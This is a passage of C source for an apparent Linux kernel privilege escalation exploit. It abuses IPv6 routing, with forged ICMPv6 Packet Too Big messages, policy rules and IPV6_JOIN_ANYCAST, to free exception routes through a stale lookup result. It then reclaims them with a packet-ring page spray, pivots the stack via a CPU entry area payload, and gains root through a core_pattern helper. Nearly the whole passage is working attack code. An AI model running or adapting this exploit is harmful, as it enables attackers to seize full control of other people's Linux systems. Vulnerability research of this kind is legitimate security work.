	/* The callback runs from atomic softirq context.  End in a stackless
	 * cli/hlt loop so no interrupt can use the CEA-backed pivoted stack. */
	q[13] = cli_halt;
	q[14] = 0;

	pin_cpu(1);
	if (write(seeder_ready[1], "S", 1) != 1)
		_exit(10);
	spin_cea_payload();
}

static void arm_watcher_and_seed_cea(void)
{
	char byte;
	pid_t seeder;

	if (write(watcher_arm[1], "A", 1) != 1 ||
	    read(watcher_ready[0], &byte, 1) != 1)
		die("arm core_pattern watcher");
	/* Let the watcher enter nanosleep before the seeder becomes the last
	 * userspace context stored in CPU1's entry stack. */
	usleep(50000);
	seeder = fork();
	if (seeder < 0)
		die("fork CEA seeder");
	if (!seeder)
		run_cea_seeder();
	if (read(seeder_ready[0], &byte, 1) != 1)
		die("CEA seeder ready");
	usleep(200000);
	printf("[+] CPU1 CEA payload seeded; armed dst_destroy pivot=%#llx\n",
	       (unsigned long long)pivot_rbx);
}

int main(int argc, char **argv)
{
	int fd, udp_fd, success = 0, stale_results = 0;
	int *target_udp_fds;
	pid_t watcher;
	unsigned int index;
	unsigned int count = argc > 1 && argv[1][0] != '-' ?
		strtoul(argv[1], NULL, 0) : 128;
	unsigned int spray_pages = argc > 2 ? strtoul(argv[2], NULL, 0) : 4096;
	unsigned int padding_count = argc > 3 ? strtoul(argv[3], NULL, 0) : 0;
	int hold_on_hit = argc > 4 && strtoul(argv[4], NULL, 0);
	unsigned int churn_count = argc > 5 ? strtoul(argv[5], NULL, 0) : 1024;
	unsigned int changed_slots = 0;
	struct in6_addr destination, padding_destination;
	struct page_spray spray;
	const uint32_t first_table = 100;
	const uint32_t padding_table = 99;

	if (!count || count > 8192 || first_table + count < first_table) {
		errno = EINVAL;
		die("table count must be 1..8192");
	}

	if (geteuid() == 0 && argc == 2 && argv[1][0] &&
	    strspn(argv[1], "0123456789") == strlen(argv[1]))
		return root_helper(argv[1]);
	setbuf(stdout, NULL);
	drop_initial_privileges();
	pin_cpu(0);
	if (argc == 2 && !strcmp(argv[1], "--leak-only")) {
		uint64_t physmap;

		resolve_kernel_addresses();
		physmap = leak_phys_map_base_checked(CPU1_CEA_PHYS_OFFSET);
		printf("[+] diagnostic physmap=%#llx\n",
		       (unsigned long long)physmap);
		return 0;
	}
	if (pipe(watcher_arm) || pipe(watcher_ready) || pipe(seeder_ready))
		die("stage pipes");
	watcher = fork();
	if (watcher < 0)
		die("fork core_pattern watcher");
	if (!watcher)
		delayed_core_pattern_watcher();
	resolve_kernel_addresses();
	(void)mlockall(MCL_CURRENT);
	enter_namespaces();
	pin_cpu(0);
	fd = open_rtnl();
	create_veth(fd, "edge0", "edge1");
	index = set_link_up(fd, "edge0");
	set_link_up(fd, "edge1");
	add_address(fd, index);
	make_destination(&destination, 0x100);
	for (unsigned int i = 0; i < count; i++)
		add_route(fd, index, first_table + i);
	puts("[+] base FIB tables installed");
	target_udp_fds = calloc(count, sizeof(*target_udp_fds));
	if (!target_udp_fds)
		die("calloc target UDP fds");

	/* Keep a large population of exception routes live so target allocations
	 * cannot come from old partial ip6_dst_cache slabs. */
	add_route(fd, index, padding_table);
	modify_rule(fd, RTM_NEWRULE, 100, padding_table, -1);
	for (unsigned int i = 0; i < padding_count; i++) {
		make_destination(&padding_destination, 0x10000U + i);
		udp_fd = create_quoted_udp_flow(&padding_destination, 0, 12345);
		inject_packet_too_big(&padding_destination, 12345);
		close(udp_fd);
	}
	modify_rule(fd, RTM_DELRULE, 100, padding_table, -1);
	printf("[+] retained %u padding PMTU exceptions\n", padding_count);
	read_fib_rt_cache("after-padding");

	/* A freshly freed order-0 packet ring gives the following target route
	 * allocations a compact and deterministic set of buddy pages. */
	page_hole_make(spray_pages);
	printf("[+] freed packet-ring hole of %u pages\n", spray_pages);
	for (unsigned int i = 0; i < count; i++)
		modify_mark_rule(fd, RTM_NEWRULE, 10000 + i,
				 first_table + i, i + 1);
	for (unsigned int i = 0; i < count; i++)
		target_udp_fds[i] = create_quoted_udp_flow(&destination, i + 1,
						      (uint16_t)(20000 + i));
	for (unsigned int i = 0; i < count; i++) {
		inject_packet_too_big(&destination, (uint16_t)(20000 + i));
	}
	usleep(500000);
	for (unsigned int i = 0; i < count; i++)
		close(target_udp_fds[i]);
	printf("[+] injected %u ICMPv6 Packet Too Big messages\n", count);
	read_fib_rt_cache("after-target-injection");
	for (unsigned int i = 0; i < count; i++)
		modify_mark_rule(fd, RTM_DELRULE, 10000 + i,
				 first_table + i, i + 1);
	modify_rule(fd, RTM_DELRULE, 32766, RT_TABLE_MAIN, -1);
	puts("[+] freeing exception-owned routes through stale fib6 result");
	for (unsigned int i = 0; i < count; i++) {
		uint32_t table = first_table + i;

		modify_rule(fd, RTM_NEWRULE, 100, table, 128);
		if (!trigger_anycast(&destination))
			success++;
		modify_rule(fd, RTM_DELRULE, 100, table, 128);
	}
	printf("[+] IPV6_JOIN_ANYCAST success=%d/%u\n", success, count);
	read_fib_rt_cache("after-first-release");

	if (churn_count) {
		modify_rule(fd, RTM_NEWRULE, 100, padding_table, -1);
		for (unsigned int i = 0; i < churn_count; i++) {
			make_destination(&padding_destination, 0x20000U + i);
			udp_fd = create_quoted_udp_flow(&padding_destination, 0,
						    12345);
			inject_packet_too_big(&padding_destination, 12345);
			close(udp_fd);
		}
		modify_rule(fd, RTM_DELRULE, 100, padding_table, -1);
		read_fib_rt_cache("after-disposable-churn");
		delete_route(fd, index, padding_table);
		printf("[+] flushed %u disposable PMTU exceptions\n",
		       churn_count);
		read_fib_rt_cache("after-churn-route-delete");
	}
	sleep(2);
	resolve_cea_alias();
	arm_watcher_and_seed_cea();
	page_spray_init(&spray, spray_pages, &destination);
	printf("[+] packet page spray blocks=%u bytes=%zu\n",
	       spray.blocks, spray.length);
	for (unsigned int i = 0; i < count; i++) {
		uint32_t table = first_table + i;

		modify_rule(fd, RTM_NEWRULE, 100, table, 128);
		if (!trigger_anycast(&destination))
			stale_results++;
		modify_rule(fd, RTM_DELRULE, 100, table, 128);
		changed_slots = page_spray_scan(&spray, &destination);
		if (changed_slots) {
			printf("[+] mapped stale hit at table=%u ordinal=%u\n",
			       table, i);
			break;
		}
	}
	printf("[+] post-spray anycast success=%d/%u changed_slots=%u\n",
	       stale_results, count, changed_slots);
	if (changed_slots && hold_on_hit) {
		puts("[+] holding namespace after mapped-page hit");
		for (;;)
			pause();
	}
	/* Retain the mapped route and fake ops through the RCU callback and the
	 * delayed core-pattern helper. */
	sleep(10);
	close(fd);
	return 0;
}